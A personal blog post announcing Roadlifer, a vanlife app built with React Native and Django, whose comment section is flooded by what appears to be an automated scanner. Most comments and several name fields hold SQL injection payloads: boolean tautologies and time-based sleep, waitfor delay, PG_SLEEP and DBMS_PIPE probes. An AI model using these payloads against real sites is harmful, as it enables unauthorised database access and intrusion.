Launched Roadlifer - Discover more

Launched Roadlifer - Discover more

/ #Misc


Roadlifer is an app for the vanlife community. I have built it using React Native in the front end, and used Django for the backend.

I started buildnig this app many many months ago together with my girl friend. She does the design, and I do the programming.

We have lived full time in a van for almost 3 years now, and we have always wanted a really good solution for finding parkups, experiences, connecting with people, etc.

We came up with the idea of just building it our self.

Can I test it?

Sure you can :-D

At least if you live somewhere in Europe. This is where we chose to launch the app first at least. We might expand later into other countries as well.

Go to the bottom of this page to find links, or search us up.

The tech stack

I guess many of you are interested in the tech behind the app. The app is built with React Native (Expo) with some plugins for the map and similar.

In the back end, I used Django. For the API part of the backend, I used Django rest framework.

Want to check it out your self?
Website: Roadlifer.com
App Store: https://apps.apple.com/us/app/roadlifer/id6478045332
Google Play: https://play.google.com/store/apps/details?id=com.roadlifer.app

Comments

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:33

555

EFSArCBy | Jul 02, 26 07:33

555

EFSArCBy | Jul 02, 26 07:33

-1 OR 2+997-997-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 07:33

-1 OR 2+989-989-1=0+0+0+1

EFSArCBy | Jul 02, 26 07:33

-1' OR 2+502-502-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 07:33

-1' OR 2+875-875-1=0+0+0+1 or 'dDM5VyDT'='

EFSArCBy | Jul 02, 26 07:33

-1" OR 2+90-90-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 07:33

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 07:33

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 07:33

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 07:33

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 07:33

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:33

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:33

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:33

555q0YEyZvy'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:33

555-1 OR 415=(SELECT 415 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:33

555-1) OR 655=(SELECT 655 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:33

555-1)) OR 378=(SELECT 378 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:33

555gULOymzX' OR 20=(SELECT 20 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:33

5558aDHmuT9') OR 79=(SELECT 79 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:33

555mIsuwNNd')) OR 314=(SELECT 314 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:33

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 07:33

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 07:33

555

EFSArCBy | Jul 02, 26 07:33

555'"

EFSArCBy | Jul 02, 26 07:33

@@v2LJb

EFSArCBy | Jul 02, 26 07:33

555

EFSArCBy | Jul 02, 26 07:33

555

EFSArCBy | Jul 02, 26 07:33

555

EFSArCBy | Jul 02, 26 07:33

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

-1 OR 2+68-68-1=0+0+0+1 -- | Jul 02, 26 07:34

555

-1 OR 2+16-16-1=0+0+0+1 | Jul 02, 26 07:34

555

-1' OR 2+602-602-1=0+0+0+1 -- | Jul 02, 26 07:34

555

-1' OR 2+678-678-1=0+0+0+1 or 'I5EQHIwD'=' | Jul 02, 26 07:34

555

-1" OR 2+426-426-1=0+0+0+1 -- | Jul 02, 26 07:34

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 07:34

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 07:34

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 07:34

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 07:34

555

EFSArCBy7xelJmmm'; waitfor delay '0:0:15' -- | Jul 02, 26 07:34

555

EFSArCByYiCKNM8b' OR 286=(SELECT 286 FROM PG_SLEEP(15))-- | Jul 02, 26 07:34

555

EFSArCByJzLVyRIU') OR 803=(SELECT 803 FROM PG_SLEEP(15))-- | Jul 02, 26 07:34

555

EFSArCByYsEh1SRl')) OR 83=(SELECT 83 FROM PG_SLEEP(15))-- | Jul 02, 26 07:34

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy'" | Jul 02, 26 07:34

555

@@5rfsf | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.